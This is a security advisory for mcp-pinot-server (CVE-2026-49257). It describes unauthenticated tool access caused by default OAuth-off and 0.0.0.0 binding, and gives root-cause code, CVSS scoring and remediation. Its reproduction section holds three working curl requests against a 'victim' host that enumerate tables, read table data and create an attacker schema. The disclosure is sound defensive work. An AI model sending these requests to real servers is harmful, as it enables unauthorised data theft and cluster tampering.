PYSEC-2026-410
Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:22Resolution
Fixed in v3.1.0, released 2026-05-25. The fix was merged in PR #95 at commit 1c7d3f9.
The fix changes the default HTTP bind host to 127.0.0.1, refuses non-loopback HTTP/HTTPS exposure unless OAuth is enabled, makes Helm exposure opt-in and OAuth-gated, and adds parser-backed single-statement read-only validation for read-query.
CVSS evaluation
Reviewed on 2026-05-25. The advisory remains Critical with CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0.
Rationale:
| Metric | Value | Reason |
|---|---|---|
| AV | Network | The default HTTP server bound to 0.0.0.0:8080 and accepted remote HTTP requests. |
| AC | Low | Exploitation required only a direct MCP tool call. |
| PR | None | OAuth was disabled by default. |
| UI | None | No user interaction was required. |
| S | Changed | The vulnerable MCP server used its server-side credentials to act on the separate Pinot cluster security boundary. |
| C | High | Unauthenticated callers could read table data and cluster metadata through server-side Pinot credentials. |
| I | High | Unauthenticated callers could create or update schemas and table configs where the server-side account had those privileges. |
| A | High | Expensive queries and configuration mutations could degrade or disrupt Pinot availability. |
Unauthenticated tool invocation via default oauth_enabled=False + host 0.0.0.0 bind
Summary
mcp-pinot v3.0.1 (and earlier) defaults to running an HTTP MCP server bound to 0.0.0.0:8080 with no authentication enabled. All MCP tools, including SQL query execution, schema creation, and table-config mutation, are reachable by any network-adjacent caller. The server proxies these calls using server-side Pinot credentials, producing a confused-deputy condition that yields full read/write access to the configured Pinot cluster.
Affected versions
- All releases on
main, confirmed in tags v2.1.0 through v3.0.1. - Affected files:
mcp_pinot/server.py,mcp_pinot/config.py.
Root cause
Three defaults compose to produce unauthenticated network exposure:
1. Auth is opt-in and defaults to off (mcp_pinot/config.py:64,328):
```python @dataclass class ServerConfig: ... oauth_enabled: bool = False ...
def load_server_config() -> ServerConfig: return ServerConfig( ... oauth_enabled=os.getenv("OAUTH_ENABLED", "false").lower() == "true", ... )
**2. Auth construction is gated by `oauth_enabled`** (`mcp_pinot/server.py:26-46`):
```python
_auth = None
if server_config.oauth_enabled:
oauth_config = load_oauth_config()
token_verifier = JWTVerifier(...)
_auth = OAuthProxy(...)
mcp = FastMCP("Pinot MCP Server", auth=_auth)
```
When `oauth_enabled` is false (default), `_auth` stays `None` and `FastMCP` registers all `@mcp.tool` endpoints with no authentication.
**3. Default bind is all interfaces on a well-known port** (`mcp_pinot/config.py:60-61`):
```python
host: str = "0.0.0.0"
port: int = 8080
The HTTP transport in server.py:263-268 uses these values directly. Any operator following the README's HTTP transport instructions (uv pip install, .env from .env.example, run) ends up with a network-reachable MCP server with no auth.
Confused-deputy
The Pinot client uses server-side credentials loaded from environment variables (mcp_pinot/config.py:285-294, 300-315). When an unauthenticated MCP caller invokes read_query or any other tool, the request is executed with the server's PINOT_TOKEN or PINOT_USERNAME/PINOT_PASSWORD, which is typically a privileged service account. The MCP server effectively launders the caller's lack of identity into the server's privileges against the upstream cluster.
Exposed tools
All 14 tools in mcp_pinot/server.py are exposed without auth in the default configuration:
| Tool | Impact when unauthenticated |
|---|---|
read_query |
Arbitrary SELECT against any table allowed by server-side filter (or all tables if no filter) |
list_tables |
Enumerate cluster schemas |
table_details, segment_list, segment_metadata_details, tableconfig_schema_details, index_column_details, get_schema, get_table_config |
Read cluster metadata |
create_schema, update_schema |
Create or mutate Pinot schemas |
create_table_config, update_table_config |
Create or mutate table configurations |
reload_table_filters |
Reload server filter file; response leaks previous_filters and new_filters lists |
test_connection |
Cluster diagnostics including host, port, scheme, database, and auth-mode |
Reproduction
Minimal reproduction against a default-configured mcp-pinot v3.0.1 instance running on http://victim:8080/mcp:
# 1. Enumerate tables (no Authorization header)
curl -X POST http://victim:8080/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc":"2.0",
"method":"tools/call",
"params":{"name":"list_tables","arguments":{}},
"id":1
}'
# 2. Read arbitrary table contents (server forwards using its own Pinot credentials)
curl -X POST http://victim:8080/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc":"2.0",
"method":"tools/call",
"params":{
"name":"read_query",
"arguments":{"query":"SELECT * FROM <table> LIMIT 100"}
},
"id":2
}'
# 3. Create a new schema (write privileges)
curl -X POST http://victim:8080/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc":"2.0",
"method":"tools/call",
"params":{
"name":"create_schema",
"arguments":{
"schemaJson":"{\"schemaName\":\"attacker_schema\",\"dimensionFieldSpecs\":[{\"name\":\"id\",\"dataType\":\"STRING\"}]}"
}
},
"id":3
}'
Severity (CVSS 3.1)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical
| Metric | Value | Reason |
|---|---|---|
| AV (Attack Vector) | Network | Server defaults to bind on 0.0.0.0:8080 |
| AC (Attack Complexity) | Low | No special conditions, single HTTP request |
| PR (Privileges Required) | None | No authentication required in default config |
| UI (User Interaction) | None | Direct unauthenticated call |
| S (Scope) | Changed | Vulnerable MCP component grants access to a separate Pinot cluster (different security authority) |
| C (Confidentiality) | High | Full read of any table data the server-side account can reach |
| I (Integrity) | High | Schema and table-config writes via create_schema, update_schema, create_table_config, update_table_config |
| A (Availability) | High | Heavy queries, malformed configs, or schema overrides can degrade or break the cluster |
If the operator restricts the bind address to 127.0.0.1 via MCP_HOST, AV drops to Local and the score reduces. But this is not the documented default.
Suggested remediation
Two independent hardenings, both recommended:
A. Refuse to start in an insecure default, in server.py main(), fail-closed when:
- transport != "stdio"
- server_config.oauth_enabled is False
- server_config.host is not a loopback address (e.g. not in {"127.0.0.1", "::1", "localhost"})
Sample:
```python def _is_loopback(host: str) -> bool: return host in {"127.0.0.1", "::1", "localhost"}
def main(): ... if server_config.transport != "stdio" and not server_config.oauth_enabled and not _is_loopback(server_config.host): raise SystemExit( "Refusing to start: HTTP transport bound to non-loopback host " f"({server_config.host}) without OAuth. Set OAUTH_ENABLED=true or " "set MCP_HOST=127.0.0.1 for local-only access." ) ... ```
B. Default oauth_enabled to True and require explicit opt-out for local development. This matches the principle of secure-by-default for network-facing services.
C. Document the threat model in README under a "Production deployment" section, including:
- Explicit warning that the server should not be exposed to untrusted networks without OAuth
- Recommendation to set MCP_HOST=127.0.0.1 for stdio/local-only deployments
Resources
mcp_pinot/server.pylines 26-46, 248-269mcp_pinot/config.pylines 56-65, 318-330- FastMCP
authparameter behavior whenNone: https://github.com/jlowin/fastmcp - The Register, May 13 2026: MCP database flaws across Doris, Pinot, RDS
Reporter
Independent security researcher. Disclosed via GitHub Security Advisory, 2026-05-23.
| Name | purl | mcp-pinot-server | pkg:pypi/mcp-pinot-server |
|---|
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.1"
},
"package": {
"ecosystem": "PyPI",
"name": "mcp-pinot-server",
"purl": "pkg:pypi/mcp-pinot-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.0",
"1.0.0",
"1.1.0",
"2.0.0",
"2.1.0",
"2.2.0",
"2.3.0",
"3.0.0",
"3.0.1"
]
}
],
"aliases": [
"CVE-2026-49257",
"GHSA-73cv-556c-w3g6"
],
"details": "## Resolution\n\nFixed in [v3.1.0](https://github.com/startreedata/mcp-pinot/releases/tag/v3.1.0), released 2026-05-25. The fix was merged in [PR #95](https://github.com/startreedata/mcp-pinot/pull/95) at commit [`1c7d3f9`](https://github.com/startreedata/mcp-pinot/commit/1c7d3f9cd384854bf72c127d230bdb32299475ad).\n \nThe fix changes the default HTTP bind host to `127.0.0.1`, refuses non-loopback HTTP/HTTPS exposure unless OAuth is enabled, makes Helm exposure opt-in and OAuth-gated, and adds parser-backed single-statement read-only validation for `read-query`.\n \n## CVSS evaluation\n\nReviewed on 2026-05-25. The advisory remains **Critical** with `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` = **10.0**.\n\nRationale:\n\n | Metric | Value | Reason |\n|---|---|---|\n| AV | Network | The default HTTP server bound to `0.0.0.0:8080` and accepted remote HTTP requests. |\n| AC | Low | Exploitation required only a direct MCP tool call. |\n| PR | None | OAuth was disabled by default. |\n| UI | None | No user interaction was required. |\n| S | Changed | The vulnerable MCP server used its server-side credentials to act on the separate Pinot cluster security boundary. |\n| C | High | Unauthenticated callers could read table data and cluster metadata through server-side Pinot credentials. |\n| I | High | Unauthenticated callers could create or update schemas and table configs where the server-side account had those privileges. |\n| A | High | Expensive queries and configuration mutations could degrade or disrupt Pinot availability. |\n\n# Unauthenticated tool invocation via default oauth_enabled=False + host 0.0.0.0 bind\n\n## Summary\n\n`mcp-pinot` v3.0.1 (and earlier) defaults to running an HTTP MCP server bound to `0.0.0.0:8080` with no authentication enabled. All MCP tools, including SQL query execution, schema creation, and table-config mutation, are reachable by any network-adjacent caller. The server proxies these calls using server-side Pinot credentials, producing a confused-deputy condition that yields full read/write access to the configured Pinot cluster.\n\n## Affected versions\n\n- All releases on `main`, confirmed in tags v2.1.0 through v3.0.1.\n- Affected files: `mcp_pinot/server.py`, `mcp_pinot/config.py`.\n \n## Root cause\n\nThree defaults compose to produce unauthenticated network exposure:\n \n**1. Auth is opt-in and defaults to off** (`mcp_pinot/config.py:64,328`):\n\n ```python\n@dataclass\nclass ServerConfig:\n ...\n oauth_enabled: bool = False\n ...\n\ndef load_server_config() -\u003e ServerConfig:\n return ServerConfig(\n ...\n oauth_enabled=os.getenv(\"OAUTH_ENABLED\", \"false\").lower() == \"true\",\n ...\n )\n```\n\n**2. Auth construction is gated by `oauth_enabled`** (`mcp_pinot/server.py:26-46`):\n\n```python\n_auth = None\nif server_config.oauth_enabled:\n oauth_config = load_oauth_config()\n token_verifier = JWTVerifier(...)\n _auth = OAuthProxy(...)\n\nmcp = FastMCP(\"Pinot MCP Server\", auth=_auth)\n ```\n\nWhen `oauth_enabled` is false (default), `_auth` stays `None` and `FastMCP` registers all `@mcp.tool` endpoints with no authentication.\n\n**3. Default bind is all interfaces on a well-known port** (`mcp_pinot/config.py:60-61`):\n\n```python\n host: str = \"0.0.0.0\"\nport: int = 8080\n```\n\nThe HTTP transport in `server.py:263-268` uses these values directly. Any operator following the README\u0027s HTTP transport instructions (`uv pip install`, `.env` from `.env.example`, run) ends up with a network-reachable MCP server with no auth.\n\n## Confused-deputy\n\nThe Pinot client uses server-side credentials loaded from environment variables (`mcp_pinot/config.py:285-294, 300-315`). When an unauthenticated MCP caller invokes `read_query` or any other tool, the request is executed with the server\u0027s `PINOT_TOKEN` or `PINOT_USERNAME`/`PINOT_PASSWORD`, which is typically a privileged service account. The MCP server effectively launders the caller\u0027s lack of identity into the server\u0027s privileges against the upstream cluster.\n\n## Exposed tools\n\nAll 14 tools in `mcp_pinot/server.py` are exposed without auth in the default configuration:\n\n| Tool | Impact when unauthenticated |\n|---|---|\n| `read_query` | Arbitrary SELECT against any table allowed by server-side filter (or all tables if no filter) |\n| `list_tables` | Enumerate cluster schemas |\n| `table_details`, `segment_list`, `segment_metadata_details`, `tableconfig_schema_details`, `index_column_details`, `get_schema`, `get_table_config` | Read cluster metadata |\n| `create_schema`, `update_schema` | Create or mutate Pinot schemas |\n| `create_table_config`, `update_table_config` | Create or mutate table configurations |\n| `reload_table_filters` | Reload server filter file; response leaks `previous_filters` and `new_filters` lists |\n| `test_connection` | Cluster diagnostics including host, port, scheme, database, and auth-mode |\n\n## Reproduction\n\nMinimal reproduction against a default-configured `mcp-pinot` v3.0.1 instance running on `http://victim:8080/mcp`:\n\n```bash\n# 1. Enumerate tables (no Authorization header)\ncurl -X POST http://victim:8080/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"jsonrpc\":\"2.0\",\n \"method\":\"tools/call\",\n \"params\":{\"name\":\"list_tables\",\"arguments\":{}},\n \"id\":1\n }\u0027\n\n# 2. Read arbitrary table contents (server forwards using its own Pinot credentials)\ncurl -X POST http://victim:8080/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"jsonrpc\":\"2.0\",\n \"method\":\"tools/call\",\n \"params\":{\n \"name\":\"read_query\",\n \"arguments\":{\"query\":\"SELECT * FROM \u003ctable\u003e LIMIT 100\"}\n },\n \"id\":2\n }\u0027\n\n# 3. Create a new schema (write privileges)\ncurl -X POST http://victim:8080/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"jsonrpc\":\"2.0\",\n \"method\":\"tools/call\",\n \"params\":{\n \"name\":\"create_schema\",\n \"arguments\":{\n \"schemaJson\":\"{\\\"schemaName\\\":\\\"attacker_schema\\\",\\\"dimensionFieldSpecs\\\":[{\\\"name\\\":\\\"id\\\",\\\"dataType\\\":\\\"STRING\\\"}]}\"\n }\n },\n \"id\":3\n }\u0027\n```\n\n## Severity (CVSS 3.1)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` = **10.0 Critical**\n\n| Metric | Value | Reason |\n|---|---|---|\n| AV (Attack Vector) | Network | Server defaults to bind on `0.0.0.0:8080` |\n| AC (Attack Complexity) | Low | No special conditions, single HTTP request |\n| PR (Privileges Required) | None | No authentication required in default config |\n| UI (User Interaction) | None | Direct unauthenticated call |\n| S (Scope) | Changed | Vulnerable MCP component grants access to a separate Pinot cluster (different security authority) |\n| C (Confidentiality) | High | Full read of any table data the server-side account can reach |\n| I (Integrity) | High | Schema and table-config writes via `create_schema`, `update_schema`, `create_table_config`, `update_table_config` |\n| A (Availability) | High | Heavy queries, malformed configs, or schema overrides can degrade or break the cluster |\n\nIf the operator restricts the bind address to `127.0.0.1` via `MCP_HOST`, AV drops to `Local` and the score reduces. But this is not the documented default.\n \n## Suggested remediation\n\nTwo independent hardenings, both recommended:\n\n **A. Refuse to start in an insecure default**, in `server.py` `main()`, fail-closed when:\n- `transport != \"stdio\"`\n- `server_config.oauth_enabled` is `False`\n - `server_config.host` is not a loopback address (e.g. not in `{\"127.0.0.1\", \"::1\", \"localhost\"}`)\n\nSample:\n\n```python\ndef _is_loopback(host: str) -\u003e bool:\n return host in {\"127.0.0.1\", \"::1\", \"localhost\"}\n\ndef main():\n ...\n if server_config.transport != \"stdio\" and not server_config.oauth_enabled and not _is_loopback(server_config.host):\n raise SystemExit(\n \"Refusing to start: HTTP transport bound to non-loopback host \"\n f\"({server_config.host}) without OAuth. Set OAUTH_ENABLED=true or \"\n \"set MCP_HOST=127.0.0.1 for local-only access.\"\n )\n ...\n ```\n\n**B. Default `oauth_enabled` to `True`** and require explicit opt-out for local development. This matches the principle of secure-by-default for network-facing services.\n\n**C. Document the threat model** in README under a \"Production deployment\" section, including:\n- Explicit warning that the server should not be exposed to untrusted networks without OAuth\n- Recommendation to set `MCP_HOST=127.0.0.1` for stdio/local-only deployments\n\n## Resources\n\n- `mcp_pinot/server.py` lines 26-46, 248-269\n- `mcp_pinot/config.py` lines 56-65, 318-330\n- FastMCP `auth` parameter behavior when `None`: https://github.com/jlowin/fastmcp\n- The Register, May 13 2026: MCP database flaws across Doris, Pinot, RDS\n\n## Reporter\n\nIndependent security researcher. Disclosed via GitHub Security Advisory, 2026-05-23.",
"id": "PYSEC-2026-410",
"modified": "2026-07-01T20:22:57.505231Z",
"published": "2026-06-29T11:50:52.123329Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/startreedata/mcp-pinot/security/advisories/GHSA-73cv-556c-w3g6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49257"
},
{
"type": "WEB",
"url": "https://github.com/startreedata/mcp-pinot/issues/90"
},
{
"type": "WEB",
"url": "https://github.com/startreedata/mcp-pinot/pull/95"
},
{
"type": "WEB",
"url": "https://github.com/startreedata/mcp-pinot/commit/1c7d3f9cd384854bf72c127d230bdb32299475ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/startreedata/mcp-pinot"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/mcp-pinot-server"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-73cv-556c-w3g6"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "mcp-pinot: Unauthenticated tool invocation via default oauth_enabled=False + host 0.0.0.0 bind"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.